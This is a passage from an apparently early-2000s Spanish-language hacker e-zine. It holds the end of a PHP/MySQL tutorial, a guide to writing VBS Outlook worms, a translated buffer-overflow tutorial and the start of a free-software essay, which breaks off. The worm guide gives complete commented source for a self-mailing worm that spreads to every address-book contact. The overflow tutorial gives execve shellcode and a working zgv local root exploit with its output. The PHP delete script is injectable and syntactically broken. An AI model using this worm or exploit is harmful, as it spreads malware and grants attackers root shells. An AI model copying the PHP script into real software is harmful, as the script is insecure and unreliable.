      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  El proceso de borrar  un  registro  es  identico al de modificar, solo 
  que
 en vez de utilizar UPDATE utilizamos DELETE en la sentenica SQL. Por
  tanto
 el script quedaria como sigue.


  a.- Borrado registros de BD
      ~~~~~~~~~~~~~~~~~~~~~~~

[++] php-mysql/borrar.php
<html>
<body>

<?php 
if (isset($id)){
   $conexion = mysql_connect("localhost", "root");
   mysql_select_db("ejemplo",$db); 
   mysql_query("DELETE datos WHERE id=$id", $db);
}else{
   echo "Debe especificar un 'id'.\n";
}

</body>
</html>
[--]

  9.- Conclusiones y Recomendaciones
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  Para concluir solo les digo que estos son unos peque~os scripts para
  agregar/borrar/modificar/buscar en una Dase de Datos en MySQL; si quieres
  profundizar mas sobre este temas pues solo visita los siguientes URL's:
  
  http://es.php.net            => Documentacion en Espa~ol sobre PHP.
  http://www.mysql.com         => Para mi el mejor Manejador de Base de 
                                  Datos al Estilo SQL.
  http://php.cgi-resources.com => Recursos en PHP.
  http://www.phpnuke.org       => El Mejor Sistema de Portales Web hecho 
                                  en PHP y MySQL.
  http://yerba.sourceforge.net => Proyecto Yerba, un Sistema de Portales
                                  Web hecho con PHP/MySQL totalmente
				  Latinoamericano (Soporte totalmente en
				  Espa~ol).
  http://www.postnuke.org      => Sistema de Portal Web basado en PHP-Nuke,
                                  este sistema optimiza muchas lineas de
				  codigo del PHP-Nuke.
  
  Bueno, en el archivo 3x13.txt pueden encontar un peque~o sistemita que
  estoy haciendo para llevar datos  de personas, es muy simple pero alli
  se  puede   apreciar  mas  a fondo como trabajar con PHP y MySQL, este
  programita esta bajo licencia GPL y esta en periodo de desarrollo, las
  proximas versiones las podran encontar en http://pleyades.sourceforge.net,
  en la seccion de software; las proximas  versiones estara incluido una 
  area de administracion, mejorar el buscador, soporte a multi-lenguaje, 
  etc, pues lo que se me ocurra meterle.
  
  Ha, se me olvidaba decirles, este texto fue escrito primeramente para:
  
  roots    : Que Necesita hacerle el sitio Web a su Jefe.
  ElNomis  : Que lo tiene loco la programacion Web.
  Jess     : Que quiere aprender a programar en PHP/MySQL
  
  Y a todas las personas que me pidieron via email que terminara el curso 
  de programacion en PHP en el articulo pasado.
  
  Nos Vemos y ... Enjoy.
  

  --Mr. kl0nk Manson
  

--EOF--

-[ 3x07.txt ]----------------------------------------------------------------
-[ Guia de Gusanos VBS ]-------------------------------------- --[ LiteSYS ]-
----------------------------------------------------[ liteno2@softhome.net ]-


   INTRO

  Buenas noches camaradas, compatriotas bolivarianos, les transmite desde
  Radio Basura 66.6 FM LiteSys el comandante en jefe de si mismo y nadie
  mas. Esta noche tendremos una breve conversacion y discusion acerca de
  los gusanos escritos en el lenguaje mas facil y estupido que la mente
  de los programadores de microsoft haya podido concebir: VBS. Antes de
  nada les recomiendo meterse un buen cacho, pueden pedirselo a un
  junkie en el centro de su ciudad por luca y medio tienen un buen porro,
  y luego que esten high, leanse esto :), que desperdicio de monte.

   EL CONCEPTO
  
  Muchos habran visto lo que hizo loveletter hace un ao y medio,
  es obvio que tanto la facilidad de escritura como la compatibilidad
  de los gusanos VBS. El problema es obvio: debido a la ya mencionada
  facilildad de programacion nunca falta un lamer que se copia el
  codigo de otro :P, sucede tambien lo mismo que con los virus macro
  de Word: casi todos son iguales, ninguna diferencia, nada nuevo ni
  especial. La misma mierda.

  Es obvio que se necesitan ciertos conocimientos de VBS para poder
  escribir un gusano, si no les recomiendo que no lean, no van a
  entender.

  La manera de reproduccion que discutiremos en este texto es el
  envio en Outlook (me refiero al Outlook comun, no al Outlook Express),
  es obvio que existen otras, como la reproduccion
  a traves de redes con shares compartidos o canales de IRC. Pero
  para eso les recomiendo que lean Trenchcoat Diaries, ahi aparece
  un texto sobre spreading con mIRC si les interesa, y para lo de
  redes les recomiendo leer los codigos de Zulu, actualmente el
  mejor virus coder bajo VBS y JS.

  Primero que nada necesitamos obtener el nombre de nuestro Script
  esto es bastante facil si hacemos lo siguiente.

  
  MiNombre = WScript.ScriptFullName
  

  Luego debemos crear un objeto de Outlook, para ello hacemos as,
  asignandoselo a una variable, obvio es:

  
  Set Outlook = CreateObject("Outlook.Application")
  

  Despues de ello debemos obtener el espacio de MAPI, MAPI es
  la interfaz utilizada por Windows para enviar correo, entonces,
  la obtenemos en base al objeto de Outlook que obtuvimos antes.
  
  
  Set EsteLibro = MAPI.AddressLists.Item(I)
  

  Despues de esto no queda mucho, debemos hacer un ciclo desde la
  primera de las libretas de direcciones hasta la ultima, y dentro
  de ese ciclo generamos un mensaje de correo con otro ciclo en el
  cual aadimos todas las direcciones de la libreta a los destinatarios
  del mensaje. Facil y simple.

  
  For LIBs = 1 to MAPI.AddressLists.Count
  Set Mensaje = Outlook.CreateItem(0)
  Set EsteLibro = MAPI.AddressLists.Item(LIBs)
  Mensaje.Attachments.Add MiNombre
  Mensaje.Subject = "Tu Madre es Tonta"
  Mensaje.Body = "Loquesea y Urbe son una mierda"
  Set Direcciones = EsteLibro.AddressEntries
  Set Destinos = Mensaje.Recipients
  For x = 1 to Direcciones.Count
   Mensaje.Recipients.Add Direcciones.Item(x) 
  Next
   Mensaje.Send
  Next
  



  El codigo habla por si solo, sin embargo, aqui tienen el codigo
  entero de un worm de Outlook full comentado. Si no entienden despues
  de esto les recomiendo que vendan su computador y se compren un
  cerebro.

  
  On Error Resume Next                                  'Control de errores.

  MiNombre = WScript.ScriptFullName                     'Obtiene el nombre
                                                        'del Script.

  Set Outlook = CreateObject("Outlook.Application")     'Crea un objeto de
                                                        'Outlook.

  Set MAPI = Outlook.GetNameSpace("MAPI")               'Obtiene un espacio
                                                        'de MAPI.

  For LIBs = 1 to MAPI.AddressLists.Count               'Inicia un ciclo para
                                                        'todas las libretas
                                                        'de direcciones.

  Set Mensaje = Outlook.CreateItem(0)                   'Crea un mensaje.

  Set EsteLibro = MAPI.AddressLists.Item(LIBs)          'Obtiene la libreta
                                                        'de direcciones
                                                        'actual en el ciclo.

  Mensaje.Attachments.Add MiNombre                      'Aade este script
                                                        'como Attachment en
                                                        'el mensaje.

  Mensaje.Subject = "Tu Madre es Tonta"                 'Define el titulo
                                                        'del mensaje.

  Mensaje.Body = "Loquesea y Urbe son una mierda"       'Define el cuerpo
                                                        'del mensaje.

  Set Direcciones = EsteLibro.AddressEntries            'Obtiene las dires
                                                        'del libro actual.

  Set Destinos = Mensaje.Recipients                     'Obtiene la lista
                                                        'de recipientes para
                                                        'el mensaje actual.

  For x = 1 to Direcciones.Count                        'Inicia un ciclo
                                                        'desde la primera
                                                        'de las direcciones
                                                        'en la libreta
                                                        'actual.

   Mensaje.Recipients.Add Direcciones.Item(x)           'Aade una direccion
                                                        'a los destinatarios
                                                        'del mensaje actual.

  Next                                                  'Fin del ciclo de los
                                                        'Destinatarios.

   Mensaje.Send                                         'Enva el mensaje :P

  Next                                                  'Fin del ciclo de las
                                                        'libretas.
  



  Esa es la base de un gusano VBS, es lo mas logico y primitivo que
  se puede hacer bajo este lenguaje y es totalmente detectable por
  cualquier AV que se respete.

  Ahora bien, se le pueden colocar otros "addons" al gusano VBS, tales
  como:

  > Una llave en el registro para evitar el reenvo repetitivo del
    gusano cada vez que se ejecute.

  > Un simple payload, cualquiera que sea.

  > Reproduccion a traves de redes o canales de IRC.

  > Encriptacion y Polimorfismo.

  > Infeccion de archivos VBS, HTML o cualquiera que se te ocurra.

  > Tu veras que mas.

  En realidad se pueden hacer alguna que otra cosa con este lenguaje,
  sin embargo es bastante tonto...

  No tengo nada mas que decir, estoy sin ganas de escribir algo mas
  para este piche lenguaje.

  Adios,
  LiteSys
  http://www.xakercentral.com // http://litesys.host.sk
  liteno2@softhome.net / litesys@monte.as
  

--EOF--


-[ 3x08.txt ]----------------------------------------------------------------
-[ Escribiendo exploits basados en buffer overflow ]------------[ honoriak ]-
--------------------------------------------------------[ honoriak@mail.ru ]-

/* translated by honoriak <honoriak@mail.ru> thz to mixter for letting me
translate and publish this text					*/


	Escribiendo exploits basados en buffer overflow,
		un tutorial para principiantes
	===============================================

    Security papers - members.tripod.com/mixtersecurity/papers.html

Los buffer overflows en los buffers dependientes de entradas del usuario 
han llegado a ser uno de los mayores problemas de seguridad en internet y 
en la informatica moderna en general. Esto es porque tal error puede ser 
hecho facilmente programando, y mientras es invisible para los usuarios 
que no entienden o no pueden adquirir el codigo fuente, algunos de estos
errores son muy faciles de 'explotar'. Este manual es para informar al 
novato - el programador medio de C que puede comprobar la condicion de 
buffer overflow que puede ser 'explotable'. 

Mixter

_____________________________________________________________________________

1. La memoria

Nota: Segun la forma en que la describo aqui, la memoria para un proceso es
organizada en la mayoria de los ordenadores, aunque depende del tipo de
arquitectura del procesador. Este ejemplo es para x86 y tambien quizas se
puede aplicar a sparc.

El principio de la 'explotacion' de un buffer overflow es sobreescribir
parte de la memoria la cual no se supone que es sobreescrita por entradas
arbitrarias y hacer que el proceso ejecute este codigo. Para ver como y
donde aparece un overflow, permiteme hechar un vistazo a como se organiza 
la memoria. Una pagina es parte de la memoria que esta en su propia direccion
relativa, que el kernel aloja en la memoria inicial para un proceso, a la 
cual puede  acceder despues sin tener que conocer donde esta alojada
fisicamente en la  memoria en la RAM. Estos procesos de memoria consisten 
en 3 secciones:

 - segmento de codigo, los datos en este segmento son instrucciones asm que
el procesador ejecuta. La ejecucion del codigo no es lineal, puede saltar
codigo y llamar funciones en ciertas condiciones. Por lo tanto, tenemos un
puntero llamado EIP, o puntero de instruccion. La direccion donde EIP apunta
siempre contiene el codigo que sera ejecutado a continuacion.

 - segmento de datos, espacio para las variables y los buffers dinamicos.

 - segmento de pila, el cual es usado para pasar datos (argumentos) a
funciones y tambien espacio para variables de funciones. El principio de la
pila reside normalmente en el final de la memoria virtual de la pagina, y
decrece. El comando en asm PUSHL movera a la parte alta de la pila, y POPL
borrara algo de la parte alta de la pila y lo pondra en el registro. Para
acceder a la memoria de la pila directamente, hay un puntero de la pila ESP
que apunta a la parte mas alta (direccion de memoria mas baja) de la pila.

_____________________________________________________________________________

2. Funciones

Una funcione es una parte de codigo de un segmento de codigo, que es
llamada, para realizar una tarea, y devuelve el control a la funcion (main)
que lo ejecuto. Opcionalmente, los argumentos puedes ser pasados a la
funcion. En asm, esto normalmente aparece como esto (ejemplo muy simple,
solo para hacerse una idea):

memory address		code
0x8054321 <main+x>	pushl $0x0
0x8054322         	call $0x80543a0 <function>
0x8054327         	ret
0x8054328         	leave
...
0x80543a0 <function>	popl %eax
0x80543a1           	addl $0x1337,%eax
0x80543a4           	ret

Que pasa aqui? La funcion main llama function(0);
La variable es 0, el main lo pone en la pila, y llama a la funcion. La funcion
obtiene la variable de la pila usando popl. Al terminar esto, devuelve
0x8054327. Normalmente, la funcion main siempre pondria el registro EBP en la
pila, la cual almacena la funcion, y lo restauraria despues de terminar. Este
es el concepto de puntero de marco, que permite a la funcion usar sus propios
offsets como direccion, lo cual es lo menos interesante mientras investigamos
con exploits, porque la funcion no devolvera el 'thread' de ejecucion original
en ningun caso. :-).
Simplemente tenemos que conocer como es la pila. En la parte de arriba,
tenemos los buffers internos y variables de la funcion. Despues de esto, est
el registros EBP salvado (32 bits, el cual es de 4 bytes), y despues la
direccion de retorno, que es de nuevo de 4 bytes. Mas abajo, estan los
argumentos pasados a la funcion, los cuales no nos interesan.
En este caso, nuestra direccion de retorno es 0x8054327. Esto es
automaticamente almacenado en la pila cuando se llama a la funcion. La
direccion de retorno puede ser sobreescrita, y cambiada punto a punto en
memoria, si hay un overflow en algun lugar en el codigo.

_______________________________________________________________________________

3. Ejemplo de un programa 'explotable'

Asumamos que 'explotamos' una funcion como esta:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); } 
main() { lame (); return 0; } 

La compilamos y desensamblamos:
# cc -ggdb blah.c -o blah 
/tmp/cca017401.o: In function `lame': 
/root/blah.c:1: the `gets' function is dangerous and should not be used. 
# gdb blah 
/* una corta explicacion: gdb, the GNU debugger es usado aqui para leer el
fichero binario y desensamblarlo (traducir bytes a codigo asm) */  
(gdb) disas main  
Dump of assembler code for function main:  
0x80484c8 <main>:       pushl  %ebp 
0x80484c9 <main+1>:     movl   %esp,%ebp 
0x80484cb <main+3>:     call   0x80484a0 <lame> 
0x80484d0 <main+8>:     leave 
0x80484d1 <main+9>:     ret 
 :


(gdb) disas lame 
Dump of assembler code for function lame: 
/* salvando el puntero del marco a la pila antes de la direccion ret */ 
0x80484a0 <lame>:       pushl  %ebp 
0x80484a1 <lame+1>:     movl   %esp,%ebp 
/* metiendo en la pila 0x20 o 32. nuestro buffer es de 30 caracteres, pero la
memoria esta alojada en una anchura de 4 bytes (porque el procesador utiliza
'words' de 32 bits) Esto es equivalente a: char small[30] */  
0x80484a3  <lame+3>:     subl   $0x20,%esp  
/* cargando un puntero a small[30] (el espacio en la pila, el cual tendra como
direccion virtual 0xffffffe0(%ebp)) en la pila, y llamando a la funcion gets:
gets(small); */  
0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax 
0x80484a9 <lame+9>:     pushl  %eax  
0x80484aa <lame+10>:    call   0x80483ec <gets>  
0x80484af <lame+15>:    addl   $0x4,%esp  
/* cargando la direccion de small y la direccion de la cadena "%s\n" en la
pila y llamando a la funcion print: (printf("%s\n", small); */  
0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax  
0x80484b5 <lame+21>:    pushl  %eax  
0x80484b6 <lame+22>:    pushl  $0x804852c  
0x80484bb <lame+27>:    call   0x80483dc <printf>  
0x80484c0 <lame+32>:    addl   $0x8,%esp  
/* se obtiene la direccion de retorno, 0x80484d0, desde la pila y vuelve a esa
direccion que no viste explicitamente aqui porque es puesto por la CPU como
'ret' */  
0x80484c3 <lame+35>:    leave  
0x80484c4 <lame+36>:    ret  
End of assembler dump.

3a. 'Overflowing' el programa
# ./blah 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	<- entrada de usuario
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
# ./blah 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- entrada de usuario
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
Segmentation fault (core dumped)   
# gdb blah core 
(gdb) info registers 
     eax:       0x24          36 
     ecx:  0x804852f   134513967 
     edx:        0x1           1 
     ebx:   0x11a3c8     1156040 
     esp: 0xbffffdb8 -1073742408 
     ebp:   0x787878     7895160  
              ^^^^^^ 

EBP es 0x787878, esto significa que hemos escrito mas datos en la pila de los
que el buffer del input podia tener. 0x78 es la representacion hexadecimal de
'x'. El proceso tenia una longitud maxima de 32 bytes. Hemos escrito mas datos
en memoria que lo permitido para la entrada del usuario y se ha sobreescrito
EBP y la direccion de retorno con 'xxxx', lo que causo que se produjese un
segmentation fault.

3b. Cambiando la direccion de retorno

Intentemos 'explotar' el programa para devolver lame() en vez de return.
Tenemos que cambiar la direccion de retorno 0x80484d0 a 0x80484cb, eso es todo.
En memoria, tenemos: espacio de 32 bytes del buffer | 4 bytes salvados de EBP
| 4 bytes de RET.
Aqui esta un simple programa que pone la direccion de retorno de 4 bytes en un
buffer de caracter de 1 byte:
main() 
{ 
int i=0; char buf[44]; 
for (i=0;i<=40;i+=4) 
*(long *) &buf[i] = 0x80484cb; 
puts(buf); 
} 
# ret 
, 

# (ret;cat)|./blah 
test		 <- user input 
,test 
test		 <- user input 
test 

Aqui tenemos, el programa fue a la funcion 2 veces. Si un overflow esta
presente, la direccion de retorno de las funciones puede ser cambiada para
alterar el 'thread' de ejecucion de los programas.

_______________________________________________________________________________ 
 
4. Shellcode 

Es muy simple, el shellcode es simplemente comandos en asm, los cuales
escribimos en la pila y despues cambiamos a la direccion de retorno para
volver a la pila. Usando este metodo, podemos insertar codigo en procesos
vulnerables y despues ejecutarlo en la pila.
Asi, generaremos codigo de asm insertable para ejecutar una shell. Una llamada
al sistema muy comun es execve(), la cual carga y ejecuta algun binario,
al terminar la ejecucion del proceso. Las paginas man nos daran como usarlo:
int  execve  (const  char  *filename, char *const argv [], char *const envp[]); 
Veamos los detalles de la llamada al sistema de glibc2:
# gdb /lib/libc.so.6 
(gdb) disas execve 
Dump of assembler code for function execve: 
0x5da00 <execve>:       pushl  %ebx 

/* Esto es la llamada al sistema actual. antes de que un programa llame a
execve, se pondrian los argumentos en orden inverso en la pila: **envp, **argv, *filename */ 
/* Poner la direccion de **envp en el registro edx */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* Poner la direccion de **argv en el registro ecx */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* Poner la direccion del *filename en el registro ebx */ 
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx 
/* Poner 0xb en el registro eax; 0xb == execveen la tabla de llamadas internas
del sistema */
0x5da0d <execve+13>:    movl   $0xb,%eax 
/* Dar el control al kernel, para ejecutar la instruccion execve */ 
0x5da12 <execve+18>:    int    $0x80 


0x5da14 <execve+20>:    popl   %ebx 
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax 
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error> 
0x5da1c <execve+28>:    ret 
End of assembler dump. 

4a. haciendo portable el codigo.

Tenemos que aplicar un truco para poder hacer el shellcode sin tener la
referencia de los argumentos en memoria por medio del camino convencional,
danto su direccion exacta en la pagina de memoria, la cual solo puede ser
dada en el momento de compilacion.
Una vez que podemos estimar el tamao del shellcode, podemos usar las
instrucciones jmp <bytes> y call <bytes> para ir a un numero especifico de
bytes atras o delante en el 'thread' de ejecucion. Por que usar una llamada?
Tenemos la oportunidad de que una CALL almacene automaticamente la direccion
de retorno en la pila, la direccion de retorno esta en los siguientes 4 bytes
despues de la instruccion CALL. Situando la variable correcta detras de la
llamada, indirectamente pondremos su direccion en la pila sin tener que
conocerla.

0   jmp <Z>     (salta Z bytes hacia delante) 
2   popl %esi 
... pone la funccion(es) aqui ... 
Z   call <-Z+2> (salta 2 menos que Z bytes hacia atras, a POPL) 
Z+5 .string     (primera variable)

(Nota: Si vas a escribir un codigo mas complejo que para pillar una simple
shell, puede poner mas de un .string detras de el codigo.Sabes el tamao de
esas cadenas y puedes incluso calcular su localizacion relativa una vez
conocida la localizacion de la primera cadena.)

4b el shellcode

global code_start		/* necesitaremos esto despues, no te preocupes
*/  
global code_end  	.data 
code_start: 
	jmp  0x17 
	popl %esi 
	movl %esi,0x8(%esi)	/* pone la direccion de **argv detras del
				shellcode, 0x8 bytes detras de un /bin/sh han
				sido situados */
  	xorl %eax,%eax   	/* pone 0 en %eax */  	
	movb %eax,0x7(%esi)	/* pone un 0 terminal despues de la
				cadena/bin/sh */
  	movl %eax,0xc(%esi)	/* otro 0 para conseguir el tamao de una long
				word */
my_execve:  	
	movb $0xb,%al		/* execve(         */  	
	movl %esi,%ebx 		/* "/bin/sh",      */  	
	leal 0x8(%esi),%ecx	/* & de "/bin/sh", */  	
	xorl %edx,%edx 		/* NULL 	   */  	
	int $0x80 		/* );		   */  	
	call -0x1c 
	.string "/bin/shX"	/* X es sobreescrito por movb %eax,0x7(%esi)
*/  code_end:

(El offset relativo 0x17 y -0x1c pueden ser substituidos poniendo 0x0,
compilando, desensamblando y despues mirando el tamao del codigo de la
shell.)

Esto ya es una shell que funciona, aunque muy minima. Deberias al menos
desensamblar la llamada del sistema exit() y ponerla. (antes de 'call').
El verdadero arte de hacer shellcodes solo consiste en evitar algun 0 binario
en el codigo (indica el final del input/buffer muy a menudo) y modificarlo por
ejemplo, como el codigo binario que no contiene caracteres de control o mas
bajos, los cuales conseguirian ser filtrados por algunos programas
vulnerables.
La mayoria del material esta hecho modificando el codigo para un mejor
funcionamiento, como teniamos en la instruccion movb %eax,0x7(%esi).
Reemplazamos la X con \0, pero sin tener \0 inicialmente en el shellcode...

Testeemos este codigo... salvando el codigo de abajo como code.S (borrando los
comentarios) y usando este fichero code.c:
extern void code_start(); 
extern void code_end(); 
#include <stdio.h> 
main() { ((void (*)(void)) code_start)(); } 
 
# cc -o code code.S code.c 
# ./code 
bash# 

Ahora puedes convertir el shellcode a char buffer en hexadecimal.
El mejor camino para hacer esto es inprimirlo:
#include <stdio.h> 
extern void code_start(); extern void code_end(); 
main() { fprintf(stderr,"%s",code_start); } 

y parcheando a traves de aconv -h or bin2c.pl, estas herramientas la puedes
encontrar en:
http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity 
 
_______________________________________________________________________________ 
 

5. Escribiendo un exploit.

Hechos un vistazo a como cambiar la direccion de retorno para apuntar al
shellcode y ponerlo en la pila, y escribir un exploit de ejemplo.
Usaremos zgv, porque es una de las cosas ms fciles de 'explotar' :)

# export HOME=`perl -e 'printf "a" x 2000'` 
# zgv 
Segmentation fault (core dumped) 
# gdb /usr/bin/zgv core 
#0  0x61616161 in ?? () 
(gdb) info register esp 
     esp: 0xbffff574 -1073744524 

Bien, esto es la parte de arriba de la pila en el momento de petar. Es casi
seguro que podemos usar esto como direccion de retorno en nuestro shellcode.

Ahora aadiremos algunas instrucciones NOP (no hacer nada) antes de nuestro
buffer, para no tener que ser 100% correctos en la prediccion exacta para
iniciar nuestro shellcode en memoria (o incluso por fuerza bruta). La funcion
volvera a la pila en algun sitio antes de nuestro code, funcionara a traves de
los NOPs hasta el comando inicial JMP, saltando a CALL, saltando hacia atras a
popl, y ejecutando nuestro codigo en la pila.

Recuerda, la pila es de esta forma: las direcciones de memoria mas bajas, la
parte de arriba de la pila donde ESP apunta, las variables iniciales
almacenadas, al llamado buffer en zgv que almacena la entorno de variable
HOME.
Despues de eso, tenemos la EBP guardada (4 bytes) y la direccion de retorno de
la funcion anterior. Debemos escribir 8 bytes o mas detras del buffer para
sobreescribir la direccion de retorno con nuestra nueva direccion de la pila.

El buffer en zgv es 1024 bytes de grande. Puedes encontrar echando una ojeada
al codigo, o buscando el inicial subl $0x400,%esp (=1024) en la funcion
vulnerable. Ahora pondremos todas estas partes juntas en el exploit:

5a exploit de ejemplo del zgv

/*                   zgv v3.0 exploit by Mixter 
          buffer overflow tutorial - http://1337.tsx.org 
 
        exploit de ejemplo, funciona por ejemplo con 
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x con binarios 
	precompilados de linux */
   
#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
 
/* Este es el shellcode minimo sacado del tutorial */ 
static char shellcode[]= 
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" 
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; 
 
#define NOP     0x90 
#define LEN     1032 
#define RET     0xbffff574 
 
int main() 
{ 
char buffer[LEN]; 
long retaddr = RET; 
int i; 
 
fprintf(stderr,"using address 0x%lx\n",retaddr); 
 
/* esto llena el buffer por completo con direcciones de retorno, ver 3b) */ 
for (i=0;i<LEN;i+=4) 
   *(long *)&buffer[i] = retaddr; 
 
/* esto llena el buffer inicial con NOPs, 100 caracteres menos que el tamao
del buffer, asi la shellcode y la direccion de retorno se situaran de forma
correcta */  
for (i=0;i<(LEN-strlen(shellcode)-100);i++)    
*(buffer+i) = NOP;    

/* despues del final de los NOPs, copiaremos el shellcode execve() */ 
memcpy(buffer+i,shellcode,strlen(shellcode));   

/* exportamos la variable ejecutando zgv */ 
 
setenv("HOME", buffer, 1); 
execlp("zgv","zgv",NULL); 
return 0; 
} 
 
/* EOF */ 

Ahora tenemos una cadena como esto:

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ] 

Mientras la pila del zgv es como esto:

v-- 0xbffff574 is here 
[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET] 

La 'thread' de ejecucion del zgv es ahora como sigue:

main ... -> function() -> strcpy(smallbuffer, getenv("HOME"));
En este momento, zgv falla en la comprobacion, escribe mas all del
smallbuffer, y la direccion de retorno a main es sobreescrita con la direccion
de retorno en la pila. function() deja/ret y el EIP apunta a la pila:
0xbffff574 nop 
0xbffff575 nop 
0xbffff576 nop 
0xbffff577 jmp $0x24                        1 
0xbffff579 popl %esi              3 <--\    | 
[... el shellcode empieza aqui ...]    |    | 
0xbffff59b call -$0x1c                 2 <--/ 
0xbffff59e .string "/bin/shX" 

Testeemos el exploit...
#cc -o zgx zgx.c
# ./zgx
using address 0xbffff574
bash#

5b. mas trucos sobre escritura de exploits

Hay muchos programas vulnerables faciles de 'explotar'. Aunque, hay muchos
trucos que puedes obtener sobre el filtrado. Tambien hay muchos otras
tecnicas de overflow en las cuales no es necesario incluir el cambio de la
direccion de retorno o solo la direccion de retorno. Hay tambien los llamados
overflows de puntero, donde un puntero que aloja una funcion puede ser
sobreescrito por un overflow, alterando el flujo de ejecucion de los
programas (un ejemplo es el exploit del bind 4.9 de RoTShB), y exploits en
donde la direccion de retorno apunta al puntero de las variables de la shell,
donde el shellcode esta alojado en cambio en la pila (esto se reduce a buffer
muy pequeos, y patches de la pila no-ejecutables, y puede engaar a
algunos programas de seguridad, aunque puede ser usado solo de forma local).
Otra materia importante para el autor de shellcodes es la modificacion radical
de codigo para mejor funcionamiento, los cuales inicialesmente solo consisten
en la imprimible, sin espacios en blanco en el caso de caracteres, y despues
pueden ser modificados para mejorarlo, etc.
Nunca debes, tener ningun cero binario en tu shellcode, porque en la mayoria
de los casos posiblemente no funcionara si los tienes. Pero el discutir como
utilizar ciertos comandos de ensamblador esta fuera de los propsitos de este
manual. Os sugiero que leais otros howto's sobre overflows que hay por ah,
escritos por aleph1, Taeoh Oh y mudge.

5c nota importante

No podras usar este tutorial en Windows o Mac. No me preguntes por cc.exe o
gdb.exe ! =oP

_______________________________________________________________________________ 
 
6. Conclusiones

Hemos aprendido, que una vez el overflows esta presente en lo que se refiere a
la dependencia por parte del usuario, puede ser 'explotado' en el 90% de los
casos, incluso aunque la situacion sea dificil se puede.
Porque es importante escribir exploits? Porque la ignorancia es algo muy
comn en la industrica del software. Ya hay algunos avisos de
vulnerabilidades de buffer overflows en software, aunque el software no
se updatea, o la mayora de los usuarios no los updatean, porque la
vulnerabilidad es dificil de 'explotar' y nadie cree en el riesgo de
seguridad. Despues, cuando se hace el exploit, se prueba y practicamente
permite explotarlo, hay una prisa enorme por updatearlo.

Para los programadores (tu), es una tarea dura el escribir programas
seguros, pero debe ser tomada en serio. Esto es en lo que concierne a escribir
servidores, algun tipo de programa de seguridad, o programas que son suid
root, o diseados para ser ejecutados como root, alguna cuenta especial, o por
el sistema. Aplicar sistemas de chequeo (strn*, sn*, funciones diferentes de
sprintf, etc.), preferentemente buffer alojados que un dinamico, dependientes
de input, tamao, ser cuidadoso con for/while/etc. que ponen datos y material
al buffer, y generalmente cuidar los input con mucho cuidado es lo que te
sugiero.

Hay tambien notables esfuerzos en la industria de seguridad por prevenir
problemas con overflows con tecnicas como la pila no-ejecutable, suid
wrappers, programas que chequean las direcciones de retorno, compiladores que
chequedan, y ms. Debes usar estas tecnicas donde te sea posible, pero no
confiar solamente en ellas. No asumas que todo esta seguro si tu tienes una
distribucin de UNIX de hace 2 aos sin updates, pero la proteccion de
overflows (incluso la mas estupida) o firewalling/IDS. Esto no puede asegurar
tu seguridad, si continuas usando programas inseguros porque _todos_ los
programas seguros son _software_ y contienen vulnerabilidades por ellos mismos
o como minimo no son perfectos. Si aplicas updates _y_ revisiones de seguridad
frecuentes, puedes todavia no estar seguro, _pero_ lo esperars. :-)

Mixter <mixter@newyorkoffice.com> 
http://members.tripod.com/mixtersecurity 

 
_______________________________________________________________________________ 
 

-----BEGIN PGP SIGNATURE----- 
Version: PGP for Personal Privacy 5.0 
Charset: noconv 
 
iQEVAwUBOEG2DLdkBvUb0vPhAQGBuQf+Ihg0w+AygH5ZmJyltK2Ap2nIkMJPFhzT 
/YTte9AQfawlNG+W8hIlnEOTxPNcxToER70WPzeVijOgygAIjQf0lW/VCyPzNEZv 
fjyI06QZQwY3RpXsOVoRfRGdukyl6dtzhpQrbMGoLtqoSzn/GGyD2+EnmQZ6oG3U 
9sXFYydlm5FPJK08a72+QHMml51Ma5KX+oGG2XojXwWpwM5O6U2JX0ZGgdTCaRal 
b4VO32w/amddmPosERbdm+cWFigAiD6O5OhZmb1FZRnAQf1kHXOHMvfTQTVRYJna 
aeJJYrF/Kki8xvUeE4PFJNkS317scqlv7L5rQygAzrZJFx84kxaSIA== 
=xp73 
-----END PGP SIGNATURE----- 

/* finished translating Tue Dec  5 17:46:36 CET 2000 */



--EOF--



-[ 3x09.txt ]----------------------------------------------------------------
-[ Software Libre: Ser gratis es la menos importante de las ventajas
 ]-------
------------------------------------------------[ Ernesto Hernndez-Novich
 ]-


 "Publicado en PC-World Venezuela, No. 47, Junio 2001
  Copyright (c) 2001 Ernesto Hernndez-Novich"

  http://www.pcworld.com.ve/n45/articulos/libresoft.html

  
  Cuando se tiene una preparacin tcnico-cientfica y se es un profesional
  competente  en  el rea  de Ciencias de la Computacin, resulta obvio que
  el  software  libre  es  ampliamente  superior al software comercial. Sin 
  embargo
 es una de esas cosas obvias  que  vale  la  pena comentar, porque 
  entre otras
 cosas permite saber si el "tcnico" con  el  que  se habla es 
  realmente
 competente.

  Es muy simple. El software libre es creado por tcnicos, especialistas en
  su  rea, con la experiencia acumulada de colegas que ponen a disposicin
  trabajos  previos, es  revisado  y  criticado  exhaustivamente  por otros 
  tcnicos
 con todos los niveles de preparacin existentes y est a la vista
  de  toda
  la  comunidad. El  resultado de  ese  trabajo  slo  puede  ser 
  excelente,  comparado
   con   el  desarrollo  cerrado  por  parte  de  un 
  "grupo selecto" dentro de una
  organizacin  comercial. Esta colaboracin 
